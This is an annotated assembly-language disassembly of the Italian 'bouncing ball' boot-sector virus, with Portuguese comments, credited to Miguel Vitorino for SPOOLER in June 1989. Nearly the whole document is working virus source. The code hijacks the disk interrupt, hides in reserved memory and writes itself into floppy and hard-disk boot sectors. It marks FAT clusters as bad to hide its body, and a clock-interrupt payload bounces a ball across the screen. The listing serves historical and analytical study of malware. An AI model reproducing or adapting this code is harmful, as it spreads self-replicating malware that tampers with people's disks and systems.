home *** CD-ROM | disk | FTP | other *** search
- ; **************************************************
- ; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
- ; *** Desassemblagem obtida por Miguel Vitorino ***
- ; *** Para : S P O O L E R - Junho de 1989 ***
- ; **************************************************
-
- .RADIX 16
-
- jmpf macro x
- db 0eah
- dd x
- endm
-
- Virus SEGMENT
- assume cs:virus;ds:virus
-
- jmpf MACRO x
- db 0eah
- dd x
- ENDM
-
- org 0100h
-
- begin: jmp short entry
-
- db 1eh-2 dup (?) ; Informacao relativa a' disquete
-
- entry: xor ax,ax
- mov ss,ax
- mov sp,7c00 ; Colocar o Stack antes do inicio do
- mov ds,ax ; virus
- mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
- sub ax,2 ; para que o DOS nao la' chegue !
- mov ds:[0413],ax
- mov cl,06 ; Converter o tamanho da RAM num
- shl ax,cl ; numero de segmento que se situa nos
- sub ax,07c0 ; 2 ultimos K
- mov es,ax ; De seguida passar este programa
- mov si,7c00 ; para esse sitio de memoria
- mov di,si ; ( i.e. o programa transfere-se a si
- mov cx,0100 ; proprio )
- repz movsw
- mov cs,ax ; Transferencia de controlo para ai!
- push cs ; Agora sim , ja' estamos nos tais 2K
- pop ds
- call reset ; fazer duas vezes um "reset" ao
- reset: xor ah,ah ; controlador de disco
- int 13
- and byte ptr ds:drive,80
- mov bx,ds:sector ; Sector onde esta' o resto do virus
- push cs
- pop ax
- sub ax,0020
- mov es,ax
- call ler_sector ; Ler o resto do virus da drive
- mov bx,ds:sector
- inc bx
- mov ax,0ffc0 ; Carregar o sector de boot original
- mov es,ax
- call ler_sector
- xor ax,ax
- mov ds:estado,al
- mov ds,ax
- mov ax,ds:[004c] ; "Confiscar" o interrupt 13
- mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
- mov word ptr ds:[004c],offset int_13
- mov ds:[004e],cs
- push cs
- pop ds
- mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
- mov word ptr ds:velho_13+2,bx
- mov dl,ds:drive
- jmpf 0:7c00 ; Efectuar o arranque do sistema
-
- Esc_Sector proc near
- mov ax,0301 ; Escrever um sector da drive
- jmp short cs:transferir
- Esc_Sector endp
-
- Ler_Sector proc near
- mov ax,0201 ; Ler um sector da drive
- Ler_Sector endp
-
- Transferir proc near ; Efectuar uma transferencia de dados
- xchg ax,bx ; de ou para a drive
- add ax,ds:[7c1c] ; Este procedimento tem como entrada
- xor dx,dx ; o numero do sector pretendido ( BX )
- div ds:[7c18] ; e de seguida sao feitas as contas
- inc dl ; para saber qual a pista e o lado
- mov ch,dl ; onde esse sector fica
- xor dx,dx
- div ds:[7c1a]
- mov cl,06
- shl ah,cl
- or ah,ch
- mov cx,ax
- xchg ch,cl
- mov dh,dl
- mov ax,bx ; Depois de todas as contas feitas
- transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
- mov bx,8000 ; es:bx = end. de transferencia
- int 13
- jnb trans_exit
- pop ax
- trans_exit: ret
- Transferir endp
-
- Int_13 proc near ; Rotina de atendimento ao int. 13H
- push ds ; (operacoes sobre discos e disquetes)
- push es
- push ax
- push bx
- push cx
- push dx
- push cs
- pop ds
- push cs
- pop es
- test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
- jnz call_BIOS ; esta' no disco
- cmp ah,2
- jnz call_BIOS
- cmp ds:drive,dl ; Ver se a ultima drive que foi
- mov ds:drive,dl ; mexida e' igual a' drive onde
- jnz outra_drv ; se vai mexer
- xor ah,ah ; Neste momento vai-se tirar a' sorte
- int 1a ; para ver se o virus fica activo
- test dh,7f ; Isto e' feito a partir da leitura
- jnz nao_desp ; da hora e se for igual a um dado
- test dl,0f0 ; numero , o virus e' despoletado
- jnz nao_desp
- push dx ; Instalar o movimento da bola
- call despoletar
- pop dx
- nao_desp: mov cx,dx
- sub dx,ds:semente
- mov ds:semente,cx
- sub dx,24
- jb call_BIOS
- outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
- push si ; presenca ou nao do virus na drive
- push di
- call contaminar
- pop di
- pop si
- and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
- call_BIOS: pop dx
- pop cx
- pop bx
- pop ax
- pop es
- pop ds
- Velho_13 equ $+1
- jmpf 0:0
- Int_13 endp
-
- Contaminar proc near
- mov ax,0201
- mov dh,0
- mov cx,1
- call transf
- test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
- jz testar_drv ; Sim , passar a' contaminacao directa
- mov si,81be
- mov cx,4
- proximo: cmp byte ptr [si+4],1
- jz ler_sect
- cmp byte ptr [si+4],4
- jz ler_sect
- add si,10
- loop proximo
- ret
-
- ler_sect: mov dx,[si] ; Cabeca+drive
- mov cx,[si+2] ; Pista+sector inicial
- mov ax,0201 ; Ler esse sector
- call transf
- testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
- mov di,7c02 ; ver se o sector de boot e' o mesmo
- mov cx,1c ; i.e. ver se a drive ja' foi virada !
- repz movsb
- cmp word ptr ds:[offset flag+0400],1357
- jnz esta_limpa
- cmp byte ptr ds:flag_2,0
- jnb tudo_bom
- mov ax,word ptr ds:[offset prim_dados+0400]
- mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
- mov si,ds:[offset sector+0400] ; esta' contaminada !
- jmp infectar
- tudo_bom: ret
-
- ; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
- ; proceder a' respectiva contaminacao !
-
- esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
- jnz tudo_bom
- cmp byte ptr ds:[800dh],2 ; Sectores por cluster
- jb tudo_bom
- mov cx,ds:[800e] ; Sectores reservados
- mov al,byte ptr ds:[8010] ; Numero de FAT's
- cbw
- mul word ptr ds:[8016] ; Numero de sectores de FAT
- add cx,ax
- mov ax,' '
- mul word ptr ds:[8011] ; Numero de entradas na root
- add ax,01ff
- mov bx,0200
- div bx
- add cx,ax
- mov ds:prim_dados,cx
- mov ax,ds:[7c13] ; Numero de sectores da drive
- sub ax,ds:prim_dados
- mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
- xor dx,dx
- xor bh,bh
- div bx
- inc ax
- mov di,ax
- and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
- cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
- jbe sao_3 ; 4 nibbles senao sao 3
- or byte ptr ds:estado,4 ; 4 = disco duro ?
- sao_3: mov si,1 ; Escolher sector a infectar
- mov bx,ds:[7c0e] ; Numero de sectores reservados
- dec bx
- mov ds:inf_sector,bx ; Sector a infectar
- mov byte ptr ds:FAT_sector,0fe
- jmp short continua
-
- Inf_Sector dw 1 ; Sector a infectar
- Prim_Dados dw 0c ; Numero do primeiro sector de dados
- Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
- Drive db 1 ; Drive onde se pediu uma accao
- Sector dw 0ec ; Sector auxiliar para procura do virus
- Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
- Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
- dw 0aa55 ; comparar se estes valores batem certos para o saber
-
- continua: inc word ptr ds:inf_sector
- mov bx,ds:inf_sector
- add byte ptr ds:[FAT_sector],2
- call ler_sector
- jmp short l7e4b
-
- ; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
- ; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
- ; virus
-
- verificar: mov ax,3 ; Media descriptor + ff,ff
- test byte ptr ds:estado,4 ; disco duro ?
- jz l7e1d
- inc ax ; Sim , FAT comeca 1 byte mais adiante
- l7e1d: mul si ; Multiplicar pelo numero do cluster
- shr ax,1
- sub ah,ds:FAT_sector
- mov bx,ax
- cmp bx,01ff
- jnb continua
- mov dx,[bx+8000] ; Ler a entrada na FAT
- test byte ptr ds:estado,4
- jnz l7e45
- mov cl,4
- test si,1
- jz l7e42
- shr dx,cl
- l7e42: and dh,0f
- l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
- jz l7e51 ; descobriu-se um cluster para por o
- l7e4b: inc si ; virus , senao passa-se ao proximo
- cmp si,di ; cluster ate' achar um bom
- jbe verificar
- ret
-
- ; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
- ; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
- ; como um "bad cluster" para o DOS nao aceder a ele
-
- l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
- test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
- jnz l7e68 ; ( 3 ou 4 nibbles )
- and dh,0f
- mov cl,4
- test si,1
- jz l7e68
- shl dx,cl
- l7e68: or [bx+8000],dx
- mov bx,word ptr ds:inf_sector ; Infectar sector !!!
- call esc_sector
- mov ax,si
- sub ax,2
- mov bl,ds:7c0dh ; Numero de sectores por cluster
- xor bh,bh
- mul bx
- add ax,ds:prim_dados
- mov si,ax ; SI = sector a infectar
- mov bx,0 ; Ler o sector de boot original
- call ler_sector
- mov bx,si
- inc bx
- call esc_sector ; ... e guarda'-lo depois do virus
- infectar: mov bx,si
- mov word ptr ds:sector,si
- push cs
- pop ax
- sub ax,20 ; Escrever o resto do virus
- mov es,ax
- call esc_sector
- push cs
- pop ax
- sub ax,40
- mov es,ax
- mov bx,0 ; Escrever no sector de boot o virus
- call esc_sector
- ret
- Contaminar endp
-
- Semente dw ? ; Esta word serve para fins de
- ; temporizacao da bola a saltar
- FAT_sector db 0 ; Diz qual e' o numero do sector que
- ; se esta' a percorrer quando se
- ; vasculha a FAT
-
- Despoletar proc near ; Comecar a mostrar a bola no ecran
- test byte ptr ds:estado,2 ; Virus ja' esta' activo ?
- jnz desp_exit ; Sim ,sair
- or byte ptr ds:estado,2 ; Nao , marcar activacao
- mov ax,0
- mov ds,ax
- mov ax,ds:20 ; Posicionar interrupt 8 (relogio)
- mov bx,ds:22
- mov word ptr ds:20,offset int_8
- mov ds:22,cs
- push cs
- pop ds ; E guardar a rotina anterior
- mov word ptr ds:velho_8+8,ax
- mov word ptr ds:velho_8+2,bx
- desp_exit: ret
- Despoletar endp
-
- Int_8 proc near ; Rotina de atendimento ao interrupt
- push ds ; provocado pelo relogio 18.2 vezes
- push ax ; por segundo . Neste procedimento
- push bx ; e' que se faz o movimento da bola
- push cx ; pelo ecran
- push dx
- push cs
- pop ds
- mov ah,0f ; Ver qual o tipo de modo de video
- int 10
- mov bl,al
- cmp bx,ds:modo_pag ; Comparar modo e pagina de video com
- jz ler_cur ; os anteriores
- mov ds:modo_pag,bx ; Quando aqui chega mudou-se o modo
- dec ah ; de video
- mov ds:colunas,ah ; Guardar o numero de colunas
- mov ah,1
- cmp bl,7 ; Comparar modo com 7 (80x25 Mono)
- jnz e_CGA
- dec ah
- e_CGA: cmp bl,4 ; Ve se e' modo grafico
- jnb e_grafico
- dec ah
- e_grafico: mov ds:muda_attr,ah
- mov word ptr ds:coordenadas,0101
- mov word ptr ds:direccao,0101
- mov ah,3 ; Ler a posicao do cursor
- int 10
- push dx ; ... e guarda-la
- mov dx,ds:coordenadas
- jmp short limites
-
- ler_cur: mov ah,3 ; Ler a posicao do cursor ...
- int 10
- push dx ; ... e guarda-la
- mov ah,2 ; Posicionar o cursor no sitio da bola
- mov dx,ds:coordenadas
- int 10
- mov ax,ds:carat_attr
- cmp byte ptr ds:muda_attr,1
- jnz mudar_atr
- mov ax,8307 ; Atributos e carater 7
- mudar_atr: mov bl,ah ; Carregar carater 7 (bola)
- mov cx,1
- mov ah,9 ; Escrever a bola no ecran
- int 10
- limites: mov cx,ds:direccao ; Agora vai-se ver se a bola esta' no
- cmp dh,0 ; ecran . Linha = 0 ?
- jnz linha_1
- xor ch,0ff ; Mudar direccao
- inc ch
- linha_1: cmp dh,18 ; Linha = 24 ?
- jnz coluna_1
- xor ch,0ff ; Mudar direccao
- inc ch
- coluna_1: cmp dl,0 ; Coluna = 0 ?
- jnz coluna_2
- xor cl,0ff ; Mudar direccao
- inc cl
- coluna_2: cmp dl,ds:colunas ; Colunas = numero de colunas ?
- jnz esta_fixe
- xor cl,0ff ; Mudar direccao
- inc cl
- esta_fixe: cmp cx,ds:direccao ; Mesma direccao ?
- jnz act_bola
- mov ax,ds:carat_attr
- and al,7
- cmp al,3
- jnz nao_e
- xor ch,0ff
- inc ch
- nao_e: cmp al,5
- jnz act_bola
- xor cl,0ff
- inc cl
- act_bola: add dl,cl ; Actualizar as coordenadas da bola
- add dh,ch
- mov ds:direccao,cx
- mov ds:coordenadas,dx
- mov ah,2
- int 10
- mov ah,8 ; Ler carater para onde vai a bola
- int 10
- mov ds:carat_attr,ax
- mov bl,ah
- cmp byte ptr ds:muda_attr,1
- jnz nao_muda
- mov bl,83 ; Novo atributo
- nao_muda: mov cx,1
- mov ax,0907 ; Escrever a bola no ecran
- int 10
- pop dx
- mov ah,2 ; Recolocar o cursor no posicao onde
- int 10 ; estava antes de escrever a bola
- pop dx
- pop cx
- pop bx
- pop ax
- pop ds
- velho_8 equ $+1
- jmpf 0:0
- Int_8 endp
-
- Carat_attr dw ? ; 7fcd
- Coordenadas dw 0101 ; 7fcf
- Direccao dw 0101 ; 7fd1
- Muda_attr db 1 ; 7fd3
- Modo_pag dw ? ; 7fd4
- Colunas db ? ; 7fd6
-
- ; Os bytes que se seguem destinam-se a reservar espaco para o stack
-
- Virus ENDS
-
- END begin